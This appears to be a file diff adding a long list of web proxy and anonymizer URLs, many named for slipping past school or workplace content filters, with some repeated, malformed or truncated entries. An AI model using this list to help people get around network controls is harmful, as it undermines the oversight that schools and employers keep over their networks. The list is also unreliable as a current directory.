     153 +http://uhmanoa.info
     154 +http://proxify.co.uk
     155 +http://browsefreely.info
     156 +http://ktunnel.net
     157 +http://daveproxy.co.uk
     158 +http://anonimator.net
     159 +http://bypassthisfilter.com
     160 +http://goonproxy.com
     161 +http://proxywebworks.com
     162 +http://meteoguide.com
     163 +http://hawaiiclubs.info
     164 +http://michiganmortgages.info
     165 +http://rtunnel.net
     166 +http://netherlandsproxy.com
     167 +http://nyccompany.info
     168 +http://punkedproxy.com
     169 +http://proxii.com
     170 +http://pittproxy.com
     171 +http://schoolpro.info
     172 +http://proxbee.com
     173 +http://pussyproxy.info
     174 +http://ibys.info
     175 +http://2unblock.com
     176 +http://surfblocked.net
     177 +http://bypassr.com
     178 +http://archisurf.com
     179 +http://himp.info
     180 +http://girlproxy.info
     181 +http://texx.info
     182 +http://studygroups.info
     183 +http://proxspire.com
     184 +http://aeroprox.com
     185 +http://proxyhideip.com
     186 +http://proxypilot.com
     187 +http://creditchecking.info
     188 +http://itsaproxy.com
     189 +http://privatewww.com
     190 +http://networkengine.info
     191 +http://ohiodating.info
     192 +http://public-proxy.org
     193 +http://texasbanks.info
     194 +http://jobsnyc.info
     195 +http://backyardigansworld.com
     196 +http://unlockthisfilter.com
     197 +http://safeforwork.net
     198 +http://unknownbrowse.com
     199 +http://vtunnel.us
     200 +http://imsneaky.com
     201 +http://lawi.info
     202 +http://fieldcollege.info
     203 +http://bigredhot.com
     204 +http://portugalproxy.com
     205 +http://aboutgreatbritain.info
     206 +http://surf24h.com
     207 +http://xoxy.com
     208 +http://proxyparadise.info
     209 +http://proxycrib.com
     210 +http://unblock.biz
     211 +http://newzealandproxy.com
     212 +http://your-proxy.info
     213 +http://privatproxy.com
     214 +http://filterfreesurfing.com
     215 +http://allaccessproxy.com
     216 +http://hotwinebaskets.com
     217 +http://spainwine.info
     218 +http://couldfind.info
     219 +http://proxy-blog.com
     220 +http://serfs.info
     221 +http://macaoguide.info
     222 +http://proxoid.com
     223 +http://rentaustin.info
     224 +http://safesurfingweb.com
     225 +http://proxyfans.com
     226 +http://metnyc.info
     227 +http://speedroxi.com
     228 +http://ehide.info
     229 +http://ipow.info
     230 +http://babyboomerco.com
     231 +http://proxclub.com
     232 +http://anonysurf.nl
     233 +http://mylittleproxy.com
     234 +http://gz299.com
     235 +http://us-proxy.com
     236 +http://goinvis.com
     237 +http://freeproxy.in
     238 +http://onesimpleproxy.com
     239 +http://supaproxy.net
     240 +http://dedicatedproxy.com
     241 +http://india-proxy.com
     242 +http://greekdating.info
     243 +http://reliableproxy.com
     244 +http://dontshowmyip.info
     245 +http://vtunnel.biz
     246 +http://proxydonkey.com
     247 +http://tinydevil.com
     248 +http://myspcnow.com
     249 +http://anonymouswebfilter.com
     250 +http://investingbusiness.info
     251 +http://easyproxysite.com
     252 +http://buzzysplat.com
     253 +http://pakistanproxy.com
     254 +http://bestfreeproxy.net
     255 +http://btunnel.com
     256 +http://roiz.info
     257 +http://justavoid.com
     258 +http://jawz.info
     259 +http://odim.info
     260 +http://ztunnel.org
     261 +http://dirtyproxy.info
     262 +http://proxycarbon.com
     263 +http://anonibrowse.com
     264 +http://yourcrazyshop.com
     265 +http://proxyman.org
     266 +http://proxydomain.org
     267 +http://stealthysurfers.com
     268 +http://investingmagazine.info
     269 +http://999proxy.com
     270 +http://proxyscoop.com
     271 +http://israeproxy.com
     272 +http://stealthproxyuk.com
     273 +http://unlockmyweb.com
     274 +http://hidesite.info
     275 +http://kealani.info
     276 +http://httpass.com
     277 +http://getmyspace.net
     278 +http://imblocked.net
     279 +http://greatbritainstamps.info
     280 +http://ztunnel.com
     281 +http://desperateproxy.net
     282 +http://stdsbypass.com
     283 +http://vtunnel.info
     284 +http://bigbrotherproxy.com
     285 +http://hujiko.com
     286 +http://proxyzing.com
     287 +http://noextentproxy.info
     288 +http://myomyproxy.com
     289 +http://filterfreewebsurfer.com
     290 +http://besteducate.info
     291 +http://schoolmusical.info
     292 +http://prox8one.com
     293 +http://ohioschool.info
     294 +http://filterlessaccess.com
     295 +http://proxy-free.org
     296 +http://proxymatch.com
     297 +http://hidezor.com
     298 +http://todaymate.com
     299 +http://crazybananaboat.com
     300 +http://mysitefilter.com
     301 +http://lemme.in
     302 +http://sneakmeout.com
     303 +http://busrentals.info
     304 +http://answersforu.info
     305 +http://openaccessweb.com
     306 +http://myanonymousfilter.com
     307 +http://roguesurfingnet.com
     308 +http://commerceinsurance.info
     309 +http://littlebadmonkey.com
     310 +http://proxquick.com
     311 +http://thaproxy.com
     312 +http://france-proxy.com
     313 +http://lesk.info
     314 +http://privacyhome.info
     315 +http://tradingmonitor.info
     316 +http://onlineclick.us
     317 +http://maproxy.com
     318 +http://ftunnel.com
     319 +http://ptunnel.com
     320 +http://hothotworld.com
     321 +http://sneakby.net
     322 +http://whatblocks.com
     323 +http://browsestealth.com
     324 +http://canada-proxy.com
     325 +http://wheelfinancing.info
     326 +http://pish.info
     327 +http://brazilproxy.com
     328 +http://drproxy.info
     329 +http://proxyspin.net
     330 +http://proxydoctor.net
     331 +http://stealthysurfers.net
     332 +http://bananaboatonline.com
     333 +http://proxfinder.com
     334 +http://unblockit.info
     335 +http://rumfordtownhouse.com
     336 +http://proxbeat.com
     337 +http://myspaceproxys.org
     338 +http://virtualburkinafaso.com
     339 +http://7in24.com
     340 +http://cgiproxy.in
     341 +http://greatbritaintravel.info
     342 +http://proxsquad.com
     343 +http://automotiveloan.info
     344 +http://yourtvstations.com
     345 +http://metalproxy.info
     346 +http://porx.us
     347 +http://proxy-loans.com
     348 +http://r-450.com
     349 +http://financeuk.info
     350 +http://proxyhub.us
     351 +http://rentoxford.info
     352 +http://spainclubs.info
     353 +http://surfpad2go.com
     354 +http://interfaceengine.info
     355 +http://jolieproxy.com
     356 +http://gecko-proxy.com
     357 +http://unblock-ebay.com
     358 +http://proxeey.com
     359 +http://roundr.info
     360 +http://razorproxy.com
     361 +http://poker-proxy.com
     362 +http://proxycontrol.com
     363 +http://unblockmyaccess.com
     364 +http://gtunnel.com
     365 +http://ml596.com
     366 +http://phpproxy.ws
     367 +http://proxjet.com
     368 +http://pleasureproxy.info
     369 +http://proxbypass.com
     370 +http://theoctopusink.com
     371 +http://privacyplus.info
     372 +http://financialbonds.info
     373 +http://bikiniproxy.info
     374 +http://thesurferteen.com
     375 +http://greeceproxy.com
     376 +http://proxia1.info
     377 +http://free-surfing.com
     378 +http://sneakrightby.com
     379 +http://kingstonny.info
     380 +http://hothide.info
     381 +http://ltunnel.com
     382 +http://mywonderlandmyspace.com
     383 +http://bigbypass.com
     384 +http://unlockit.info
     385 +http://ubridge.us
     386 +http://ltunnel.net
     387 +http://householdfinances.info
     388 +http://proxfast.com
     389 +http://otunnel.net
     390 +http://dracliveshere.com
     391 +http://spyfreepc.com
     392 +http://consolidationproxy.com
     393 +http://safeproxysurfing.com
     394 +http://proxyviewer.com
     395 +http://vegasrent.info
     396 +http://tkedge.com
     397 +http://supernerdsproxy.com
     398 +http://nolimitationproxy.info
     399 +http://radicaloverthrow.com
     400 +http://adultproxy.info
     401 +http://singaporeproxy.com
     402 +http://dtunnel.com
     403 +http://otunnel.com
     404 +http://browseinvis.com
     405 +http://bestpizzainc.com
     406 +http://jucy.info
     407 +http://theproxee.com
     408 +http://flybyproxy.com
     409 +http://hottutoring.com
     410 +http://myownproxy.com
     411 +http://proxengine.com
     412 +http://china-proxy.com
     413 +http://syriaproxy.com
     414 +http://diaryproxy.com
     415 +http://steadyproxy.com
     416 +http://ntunnel.com
     417 +http://schoollunch.info
     418 +http://kuwaitproxy.com
     419 +http://geekhiderz.com
     420 +http://proxyturkey.com
     421 +http://free-myspace-unblocker.info
     422 +http://autobypass.com
     423 +http://bluefrida.com
     424 +http://free-myspace-unblocker.com
     425 +http://rockypizzaexpress.com
     426 +http://imploda.com
     427 +http://faucetthrough.com
     428 +http://easyuniversity.info
     429 +http://geronaspain.info
     430 +http://proxybear.com
     431 +http://insurance-proxy.com
     432 +http://kods.info
     433 +http://vpass.us
     434 +http://proxycs.com
     435 +http://opentobrowse.info
     436 +http://browsetheweb.info
     437 +http://yeahproxy.com
     438 +http://backyardiganssite.com
     439 +http://polysolve.com
     440 +http://badcredittunnel.com
     441 +http://proxden.com
     442 +http://proxyless.com
     443 +http://privacyassist.info
     444 +http://noborderproxy.info
     445 +http://ninjahide.com
     446 +http://proxin.org
     447 +http://proxsurfit.com
     448 +http://lepari.info
     449 +http://eroticproxy.info
     450 +http://r-350.com
     451 +http://www.bigate.com/cgi-bin/bigate...
     452 +http://www.userbeam.de/
     453 +http://www.calcmaster.net/
     454 +http://www.misterprivacy.com/begin_a...
     455 +http://www.myshield.com/
     456 +http://www.idzap.com/
     457 +http://www.safegatetech.com/
     458 +http://www.breiter.ch/
     459 +http://www.rrdb.org/rrdbproxy.php?l=en
     460 +http://proxy.decodes.biz/
     461 +http://proxy.mxds.ch/
     462 +http://www.spondoo.com/
     463 +http://search.sicomm.us/
     464 +http://schnarre-monika.celebrityblog...
     465 +http://filter2005.com/
     466 +http://www.kproxy.com/
     467 +http://www.websitereactor.org/cgi-bi...
     468 +http://www.goproxing.com/
     469 +http://anonycat.com/
     470 +http://www.spynot.com/
     471 +http://www.merletn.org/anonymizer
     472 +http://www.cgi-proxy.net/
     473 +http://www.proxymouse.com/
     474 +http://www.theunblocker.tk/
     475 +http://www.betaproxy.com/
     476 +http://www.letsproxy.com/
     477 +http://www.freeproxysurf.info/
     478 +http://www.mysticproxy.com/
     479 +http://www.proxywave.com/
     480 +http://www.vtunnel.com/
     481 +http://www.proxysnail.com/
     482 +http://www.freeproxy.ca/
     483 +http://basic.3proxy.com/
     484 +http://www.privatebrowsing.com/
     485 +http://www.hackingtruths.org/proxy
     486 +http://xanproxy.be/
     487 +http://www.ipsecret.com/
     488 +http://www.proxyanon.com/
     489 +http://www.anonproxy.info/
     490 +http://www.proxysafe.com/
     491 +http://www.strongproxy.com/
     492 +http://www.boredatschool.net/
     493 +http://www.ukproxy.com/
     494 +http://www.simpleproxy.com/
     495 +http://www.phproxy.org/
     496 +http://surfonym.com/
     497 +http://geoepker.hu/freeproxy/
     498 +http://www.browseatwork.com/
     499 +http://www.ipblocker.info/
     500 +http://www.boredatwork.info/
     501 +http://www.anonymousurfing.info/
     502 +http://www.browsingwork.com/
     503 +http://www.freeproxyserver.org/
     504 +http://www.browseany.com/
     505 +http://www.browsesecurely.com/
     506 +http://IEproxy.com/
     507 +http://www.sneak3.po.gs/
     508 +http://www.proxytastic.com/
     509 +http://www.freewebproxy.org/
     510 +http://www.thecgiproxy.com/
     511 +http://www.hide-me.be/
     512 +http://www.anotherproxy.com/
     513 +http://www.proxy77.com/
     514 +http://www.surf-anon.com/
     515 +http://www.free-proxy.info/
     516 +http://www.theproxysite.info/
     517 +http://www.proxyify.info/
     518 +http://www.concealme.com/
     519 +http://browseschool.info/
     520 +http://browsework.info/
     521 +http://browsingschool.info/
     522 +http://browsingwork.info/
     523 +http://browsingschool.com/
     524 +http://www.proxyindex.com/
     525 +http://www.gobyproxy.com/
     526 +http://www.proxifyme.com/
     527 +http://www.proxyghost.com/
     528 +http://www.spysurfing.com/
     529 +http://www.unblockthis.com/
     530 +http://www.proxyserver7.com/
     531 +http://www.daveproxy.co.uk/
     532 +http://www.tntproxy.com/
     533 +http://www.neoproxy.net/
     534 +http://www.bypassbrowser.com/
     535 +http://www.procksie.com/
     536 +http://www.httproxy.com/
     537 +http://www.cgiproxy.info/
     538 +http://www.silentsurf.com/cgi-bin/np...
     539 +http://www.proxy-sock.com/
     540 +http://www.proxygeek.com/
     541 +http://www.datadefense.org/
     542 +http://www.hideyour.info/
     543 +http://www.howto.pro/
     544 +http://www.collegeproxy.com/
     545 +http://www.demonproxy.com/
     546 +http://www.satanproxy.com/
     547 +http://www.hidingyou.com/
     548 +http://www.intelliproxy.com/
     549 +http://www.fireprox.com/
     550 +http://www.h0h0h0.com/firewall/
     551 +http://www.katedrala.cz/
     552 +http://www.browseatwork.net/
     553 +http://www.2255.info/
     554 +http://www.vproxy.be/
     555 +http://www.boxproxy.com/
     556 +http://www.nopimps.com/
     557 +http://www.fsurf.com/
     558 +http://www.proxylord.com/
     559 +http://roachhost.com/hp/
     560 +http://www.freepr0xy.com/
     561 +http://www.proxypop.com/
     562 +http://proxy.winidn.com/
     563 +http://www.cloax.net/
     564 +http://www.proxy247.com/
     565 +http://www.traceless.com/
     566 +http://www.siatec.net/proxyanonymizer
     567 +http://www.stealth-ip.net/
     568 +http://www.proxywhip.com/
     569 +http://www.proxy-surf.net/
     570 +http://www.videoeditors.info/proxy/
     571 +http://www.blockmy.info/
     572 +http://www.proxychatroom.com/
     573 +http://www.teenproxy.com/
     574 +http://www.totalupload.com/surf/
     575 +http://www.proxene.com/
     576 +http://www.fileshack.us/proxy.php
     577 +http://www.cloaker.ca/
     578 +http://www.proxified.net/
     579 +http://www.mrreid.net/
     580 +https://www.flyproxy.com/
     581 +http://workstudyplay.com/
     582 +http://www.myinternetproxy.com/
     583 +http://www.proxyrat.com/
     584 +http://www.proxzero.com/
     585 +http://www.w00tage.com/
     586 +http://www.arandomproxy.com/
     587 +http://iphide.com/
     588 +http://www.sureproxy.com/
     589 +http://www.proxy1.info/
     590 +http://www.proxy2info/
     591 +http://www.proxy3.info/
     592 +http://www.proxy4.info/
     593 +http://www.proxy5.info/
     594 +http://www.proxy6.info/
     595 +http://www.proxy7.info/
     596 +http://www.proxy8.info/
     597 +http://www.proxy9.info/
     598 +http://www.proxy10.info/
     599 +http://www.proxy11.info/
     600 +http://www.proxy12.info/
     601 +http://www.proxy13.info/
     602 +http://www.proxy14.info/
     603 +http://www.proxy15.info/
     604 +http://www.proxy16.info/
     605 +http://www.proxy17.info/
     606 +http://www.proxy18.info/
     607 +http://www.proxy19.info/
     608 +http://www.proxy20.info/
     609 +http://www.proxyok.com/
     610 +http://proxynanny.com/
     611 +http://siteunlocker.com/
     612 +http://proxy-debt.com
     613 +http://browsenow.org
     614 +http://allergiesfilter.com
     615 +http://gothrufirewalls.com
     616 +http://everyonesproxy.com
     617 +http://gigaprox.com
     618 +http://bedforduk.info
     619 +http://lohanproxy.com
     620 +http://usdebts.info
     621 +http://proxyquote.com
     622 +http://temz.info
     623 +http://crazyoctopussite.com
     624 +http://jtunnel.com
     625 +http://wtunnel.com
     626 +http://phantomproxy.com
     627 +http://ftunnel.net
     628 +http://spyfreeproxy.com
     629 +http://mortgageproxies.com
     630 +http://rgsurf.com
     631 +http://proxypoint.net
     632 +http://proxview.com
     633 +http://schoolandstuff.com
     634 +http://rentlimo.info
     635 +http://proxycredit.com
     636 +http://mysecretsurfer.com
     637 +http://duli8.com
     638 +http://jiggynation.com
     639 +http://stopmenot.com
     640 +http://schoolstudy.info
     641 +http://cloakedfox.com
     642 +http://bestprivacy.info
     643 +http://yourbypass.info
     644 +http://investmentreturns.info
     645 +http://monsterprox.info
     646 +http://hotcontactlenses.com
     647 +http://levv.info
     648 +http://theoswaldconspiracy.com
     649 +http://tubeproxy.net
     650 +http://wtunnel.net
     651 +http://openorkut.com
     652 +http://proxry.com
     653 +http://privacysolution.info
     654 +http://nolimitadvocate.info
     655 +http://solidwebproxy.com
     656 +http://redspicy.com
     657 +http://surfthrufirewalls.com
     658 +http://chilaxin.net
     659 +http://fastend.info
     660 +http://mesotheliomaproxy.com
     661 +http://skiplessons.com
     662 +http://proksy.org
     663 +http://tophotdogs.com
     664 +http://vietnam-proxy.com
     665 +http://proxytown.org
     666 +http://unrestrictedwebaccess.com
     667 +http://germanyproxy.com
     668 +http://azat.info
     669 +http://big-tunnel.com
     670 +http://myconceal.com
     671 +http://linproxy.com
     672 +http://sneakyinternet.com
     673 +http://proxmonster.info
     674 +http://spaindeal.info
     675 +http://ab.tl
     676 +http://siteaccess.info
     677 +http://jayc.info
     678 +http://foxprox.net
     679 +http://anonymoxy.com
     680 +http://pinnacleproxy.com
     681 +http://buffaloproxy.com
     682 +http://onelittledevil.com
     683 +http://uk-proxy.com
     684 +http://refinance-proxy.com
     685 +http://noboundproxy.info
     686 +http://hidemyip.nl
     687 +http://proxfinity.com
     688 +http://spacethisfilter.com
     689 +http://proxzoom.com
     690 +http://megawebproxy.com
     691 +http://unblock-youtube.com
     692 +http://proxywired.com
     693 +http://pejig.com
     694 +http://proxyjoe.com
     695 +http://littledevilinc.com
     696 +http://anonibrowse.net
     697 +http://ntunnel.net
     698 +http://nytourist.info
     699 +http://proxyparty.info
     700 +http://lich.info
     701 +http://goanony.com
     702 +http://htunnel.net
     703 +http://bigw.info
     704 +http://filterstomper.com
     705 +http://monkeyfunky.co.uk
     706 +http://proxr.co.uk
     707 +http://hideweb.info
     708 +http://blogproxy.net
     709 +http://kapaa.info
     710 +http://freeflowsurfing.com
     711 +http://virtualmicronesia.com
     712 +http://webspysurfer.com
     713 +http://proxzing.com
     714 +http://rtunnel.com
     715 +http://pzoomer.com
     716 +http://proxit.org
     717 +http://anonymouswebaccess.com
     718 +http://fasthelp.info
     719 +http://myspace-browser.com
     720 +http://theoswaldclan.com
     721 +http://proxinate.info
     722 +http://lunk.info
     723 +http://bypassmyfilter.com
     724 +http://jingf.com
     725 +http://greatwebsurfer.com
     726 +http://creamnyc.info
     727 +http://hotdogstunnel.com
     728 +http://anonymouswebsurfer.com
     729 +http://financingmortgage.info
     730 +http://proxyserversite.com
     731 +http://vpntunnel.net
     732 +http://mysitegotblocked.com
     733 +http://myopenwebaccess.com
     734 +http://bypass-filters.com
     735 +http://imblocked.org
     736 +http://sliprightby.com
     737 +http://proxinn.com
     738 +http://x1proxy.com
     739 +http://dodu.info
     740 +http://schoolsystem.info
     741 +http://redproxy.net
     742 +http://jtunnel.net
     743 +http://imgif.com
     744 +http://adoptiontunnel.com
     745 +http://vtunnel.tv
     746 +http://tradinghotline.info
     747 +http://ctunnel.com
     748 +http://filterbreakout.com
     749 +http://bigproxies.info
     750 +http://argentinaproxy.com
     751 +http://hotyogasite.com
     752 +http://damaliens.com
     753 +http://swagproxy.com
     754 +http://cloak-me.info
     755 +http://247websurf.com
     756 +http://proxify.net
     757 +http://salemguide.info
     758 +http://your-proxy.org
     759 +http://amandas-proxy.info
     760 +http://co-i.info
     761 +http://w3privacy.com
     762 +http://thecrazynetwork.com
     763 +http://pajaxy.com
     764 +http://mtgtv.com
     765 +http://visitriga.info
     766 +http://gfun.info
     767 +http://surfsizzle.com
     768 +http://thecrazycall.com
     769 +http://proxify.com
     770 +http://fastnetproxy.com
     771 +http://libertyproxy.com
     772 +http://unblockbess.com
     773 +http://sneakonby.com
     774 +http://surfguarded.com
     775 +http://proxymod.com
     776 +http://unblockwebsense.com
     777 +http://sillysurf.com
     778 +http://surfinvis.com
     779 +http://myspaceunlock.com
     780 +http://pussyproxy.com
     781 +http://hidemybrowsing.com
     782 +http://surfproxy.net
     783 +http://bypasslink.com
     784 +http://sneakthrough.info
     785 +http://proxydream.com
     786 +http://proxolicio.us
     787 +http://pagewash.com
     788 +http://theproxyhost.com
     789 +http://cqxin.com
     790 +http://thesitefilter.com
     791 +http://journalproxy.com
     792 +http://businessfinanceinfo.com
     793 +http://proxymess.com
     794 +http://proxydragon.com
     795 +http://liveprox.com
     796 +http://vtunnel.com
     797 +http://slpoint.com
     798 +http://proxydoll.com
     799 +http://libertyproxy.com
     800 +http://proxyserversite.com
     801 +http://syriaproxy.com
     802 +http://proxydoll.com
     803 +http://greeceproxy.com
     804 +http://proxywebworks.com
     805 +http://pakistanproxy.com
     806 +http://zawoogle.com
     807 +http://easyproxysite.com
     808 +http://kuwaitproxy.com
     809 +http://unblockwebsense.com
     810 +http://proxymod.com
     811 +http://proxymess.com
     812 +http://sillysurf.com
     813 +http://peopleproxy.info
     814 +http://dirtyproxy.info
     815 +http://unblockbess.com
     816 +http://proxgle.com
     817 +http://2hide.net
     818 +http://surfproxy.net
     819 +http://proxycn.net
     820 +http://checkedproxylists.com
     821 +http://freeproxies.us
     822 +http://freshproxylist.org
     823 +http://9proxy.com
     824 +http://haozs.net
     825 +http://proxy-server.info
     826 +http://freeproxylists.com
     827 +http://pureproxy.net
     828 +http://notrace.it
     829 +http://traffic.uwbcomm.com
     830 +http://proxy-list.net
     831 +http://nntime.com
     832 +http://theone.ru
     833 +http://proxy.antipalivo.ru
     834 +http://hack72.2ch.net
     835 +http://proxyleecher.com
     836 +http://proxylist.sakura.ne.jp
     837 +http://spy.pp.ru
     838 +http://eliteproxy.us
     839 +http://steganos.com
     840 +http://proxy.top-site-list.com
     841 +http://freeproxy.ch
     842 +http://proxyforest.com
     843 +http://multiproxy.org
     844 +http://anonymousinet.com
     845 +http://proxyleech.com
     846 +http://www.freewebproxy.info/
     847 +http://proxy.mazafaka.ru
     848 +http://freeproxy.ru
     849 +http://freeproxies.biz
     850 +http://snakeoillabs.com
     851 +http://www.yourportal.us/
     852 +http://proxy-list.biz
     853 +http://proxylist.com.ru
     854 +http://fresh-proxy-list.net
     855 +http://proxy-list.org
     856 +http://onlinechecker.freeproxy.ru
     857 +http://proxylists.net
     858 +http://proxysecurity.com
     859 +http://z4.cn
     860 +http://proxylist.blogspot.com
     861 +http://www.fullyproxy.com/
     862 +http://www.filtersneak.com/?proxy=cg...
     863 +http://cybersyndrome.net
     864 +http://proxy.6te.net
     865 +http://romanfr.com
     866 +http://www.unblockict.com/
     867 +http://www.proxythere.com/
     868 +http://www.anonymonline.com/
     869 +http://www.dzzt.com/
     870 +http://www.ecoproxy.com/
     871 +http://www.coreproxy.com/
     872 +http://proxymy.com/
     873 +http://www.illegalproxy.com/
     874 +http://www.filterfakeout.com/
     875 +http://www.privacybrowsing.com/
     876 +http://www.w00tage.com/
     877 +http://www.aplusproxy.com/
     878 +http://www.arandomproxy.com/
     879 +http://www.w3privacy.com/
     880 +http://www.spysurfing.com/
     881 +http://www.spondoo.com/
     882 +http://www.dpbolvw.net/
     883 +http://www.proxy4free.com/
     884 +http://www.gosurf.in
     885 +http://www.nottnetworks.com/prxy
     886 +http://sourceforge.net/projects/poxy/
     887 +http://ipshifter.com
     888 +http://www.Stealth-ip.
     889 +http://ipchicken.com
     890 +http://www.Stealth-ip.com
     891 +http://www.Stealth-ip.org
     892 +http://www.Stealth-ip.us
     893 +http://www.Stealth-ip.info
     894 +http://poxy.us.to/
     895 +http://www.BlockFilter.com
     896 +http://buzzysplat.com
     897 +http://wickedstar.com
     898 +http://www.proxysea.com
     899 +http://ProxyJuice.com
     900 +http://phproxy.web.id
     901 +http://www.proxybit.com
     902 +http://www.proxyir.us
     903 +http://www.easypas.us
     904 +http://cbernetic.xhost.ro/proxy/inde...
     905 +http://www.proxytastic.com/
     906 +http://www.your-proxy.com/
     907 +http://freewebproxy.at/
     908 +http://www.trickmy.net/
     909 +http://www.proxee.net/
     910 +http://proxyfree.org/
     911 +http://www.zhaodaola.org/web/
     912 +http://playatschool.com/phproxy.php
     913 +http://www.ahds.net/phproxy/
     914 +http://proxy.getwave.net/
     915 +http://www.bigbamm.net/94605/index.php
     916 +http://www.fiberproxy.com/index.php
     917 +http://www.heliproxy.com/
     918 +http://www.kochang-hotel.com/safe-su...
     919 +http://www.ukprox.com/beta/proxy/ <=- UK
     920 +http://www.proxyfoxy.com/
     921 +http://www.boredatschool.net/
     922 +http://www.workbrowse.com/
     923 +http://www.ukprox.com/beta/proxy/
     924 +http://www.searchthephil.com/files/i...
     925 +http://www.yourportal.us/index.php
     926 +http://www.proxyhero.com/
     927 +http://www.proxydevil.com/
     928 +http://www.ztrer.com/
     929 +http://www.proxyday.com/
     930 +http://www.theproxyfree.com/
     931 +http://www.uniqueproxy.com/
     932 +http://www.slyproxy.com/
     933 +http://www.xxxproxy.com/
     934 +http://www.hideandgosurf.com/
     935 +http://www.proxylife.com/
     936 +http://www.proxy-sock.com/
     937 +http://www.thaproxy.com/
     938 +http://www.solidwebproxy.com/
     939 +http://www.proxytheweb.com/
     940 +http://www.unblockthis.com/proxywebp...
     941 +http://pubpot.com/be/
     942 +http://buzzysplat.com
     943 +http://onlyproxy.com
     944 +http://xtremeproxy.com
     945 +http://sabasearchir.fbhosting.com/
     946 +http://www.1xv.net/
     947 +http://www.proxytiger.com/
     948 +http://www.firewallpass.com/
     949 +http://proxystar.us/
     950 +http://proxybum.com/
     951 +http://www.startingqbasic.co.uk/phproxy/ <=- UK
     952 +http://www.webtoolsking.com/proxy/in...
     953 +http://www.exoproxy.com/
     954 +http://www.idealproxy.com/
     955 +http://www.anonym.cn/
     956 +http://kproxy.com
     957 +http://NuProxy.com
     958 +http://www.timtribu.net/surf/
     959 +http://vagery.com/proxy
     960 +http://www.lay-low.net
     961 +http://www.xpsupport.net/proxy
     962 +http://proxy.iclix.net
     963 +http://proxythis.co.nr
     964 +http://www.buzzysplat.com
     965 +http://www.pr0xy.co.nr/
     966 +http://oproxy.info
     967 +http://freeukproxy.com
     968 +http://www.dep3.com
     969 +http://www.thesiteunblocker.com/
     970 +http://techtakeover.com/search
     971 +http://justproxy.info
     972 +http://surfingagain.com
     973 +http://www.lay-low.ne
     974 +http://www.GETOFFME.org
     975 +http://www.piktro.com
     976 +http://www.compix.org
     977 +http://onlineproxyservers.info
     978 +http://www.proxyswim.info
     979 +http://www.proxyize.com
     980 +http://ninjaproxy.com
     981 +http://xtremeproxy.com
     982 +http://proxe.info
     983 +http://fatslag.net
     984 +http://2233.biz
     985 +http://proxit.info
     986 +http://myprox.net
     987 +http://elitegamingcorps.com/nph-x.pl
     988 +http://browserunlocked.com
     989 +http://cachebrowser.com
     990 +http://justcansee.com
     991 +http://nonstopbrowsing.com
     992 +http://whitefyre.com/poxy/
     993 +http://spuddy.faithhosts.com/fold
     994 +http://sv7.premiumwebserver.com/~tou...
     995 +http://lab.astonysh.com/proxy/index.php
     996 +http://www.freeproxy.ru/index.htm
     997 +http://www.freeproxy.ru/ru/index.htm
     998 +http://www.freeproxy.ru/
     999 +http://www.freeproxy.info/
     1000 +http://www.freeproxy.ru/ru/index.htm
     1001 +http://www.freeproxy.ru/en/programs/
     1002 +http://www.freeproxy.ru/en/free_proxy/
     1003 +http://www.freeproxy.ru/en/misc.htm
     1004 +http://www.freeproxy.ru/en/contacts/...
     1005 +http://www.freeproxy.ru/en/news.htm
     1006 +http://www.freeproxy.ru/en/contacts/
     1007 +http://www.checker.freeproxy.ru/checker/
     1008 +http://www.freeproxy.ru/shop/
     1009 +http://www.freeproxy.ru/en/free_prox...
     1010 +http://www.forum.freeproxy.ru/
     1011 +http://anonymouse.ws/
     1012 +http://www.shadowbrowser.com/?pin=trial
     1013 +http://www.proxyking.net/
     1014 +http://www.anonymousindex.com/
     1015 +http://www.hidemyass.com/
     1016 +http://www.proxy7.com/
     1017 +http://www.proxyfoxy.com/
     1018 +http://www.78y.net/
     1019 +http://www.75i.net/
     1020 +http://www.dzzt.com/
     1021 +http://www.proxyguy.com/
     1022 +http://www.gamesproxy.com/
     1023 +http://www.proxyz.be/
     1024 +http://www.antifw.tk/
     1025 +http://www.proxyhero.com/
     1026 +http://www.proxydrop.com/
     1027 +http://www.proxydrop.net/
     1028 +http://www.proxydrop.biz/
     1029 +http://www.proxydrop.info/
     1030 +http://www.proxydrop.org/
     1031 +http://www.prx1.com/
     1032 +http://www.ninjaproxy.com/
     1033 +http://www.shadowsurf.com/
     1034 +http://www.famous5.net/
     1035 +http://www.no1proxy.com/
     1036 +http://www.proxyspy.com/
     1037 +http://www.theproxy.be/
     1038 +http://www.newproxy.be/
     1039 +http://www.smartproxy.net/
     1040 +http://www.proxyprince.com/
     1041 +http://www.pimpmyip.com/
     1042 +http://www.ohmyproxy.com/
     1043 +http://www.cleverproxy.com/
     1044 +http://www.aproxysite.com/
     1045 +http://www.fullysickproxy.com/
     1046 +http://www.desireproxy.com/
     1047 +http://www.perfectproxy.com/
     1048 +http://www.primeproxy.com/
     1049 +http://www.proxyaware.com/
     1050 +http://www.proxycraze.com/
     1051 +http://www.proxygasp.com/
     1052 +http://www.proxyplease.com/
     1053 +http://www.someproxy.com/
     1054 +http://www.stupidproxy.com/
     1055 +http://www.thatproxy.com/
     1056 +http://www.wantproxy.com/
     1057 +http://www.unblockmyspace.com/
     1058 +http://www.proxyforall.com/
     1059 +http://www.myproxysurfer.com/
     1060 +http://www.proxycat.com/
     1061 +http://www.proxydetective.com/
     1062 +http://www.indianproxy.com/
     1063 +http://www.proxybrowsing.com/
     1064 +http://www.proxypi.com/
     1065 +http://www.proxyjet.com/
     1066 +http://www.justhide.com/
     1067 +http://www.anonymization.net/
     1068 +http://www.guardster.com/
     1069 +http://www.proxyweb.net/
     1070 +http://webwarper.net/
     1071 +https://www.megaproxy.com/
     1072 +http://www.w3privacy.com/
     1073 +http://www.anonymizer.ru/
     1074 +http://www.the-cloak.com/
     1075 +http://www.pureprivacy.com/
     1076 +http://proxify.com/
     1077 +http://www.urlencoded.com/
     1078 +http://www.snoopblocker.com/
     1079 +http://www.long999.com/
     1080 +http://www.game678.com/
     1081 +http://www.psurf.net/
     1082 +http://www.phproxy.info/
     1083 +http://www.cgi-proxy.info/
     1084 +http://www.ftpproxy.info/
     1085 +http://www.httpproxy.info/
     1086 +http://www.proxy121.com/
     1087 +http://www.proxy247.net/
     1088 +http://www.bigate.com/cgi-bin/bigate...
     1089 +http://www.userbeam.de/
     1090 +http://www.calcmaster.net/
     1091 +http://www.misterprivacy.com/begin_a...
     1092 +http://www.myshield.com/
     1093 +http://www.idzap.com/
     1094 +http://www.safegatetech.com/
     1095 +http://www.breiter.ch/
     1096 +http://www.rrdb.org/rrdbproxy.php?l=en
     1097 +http://proxy.decodes.biz/
     1098 +http://proxy.mxds.ch/
     1099 +http://www.spondoo.com/
     1100 +http://search.sicomm.us/
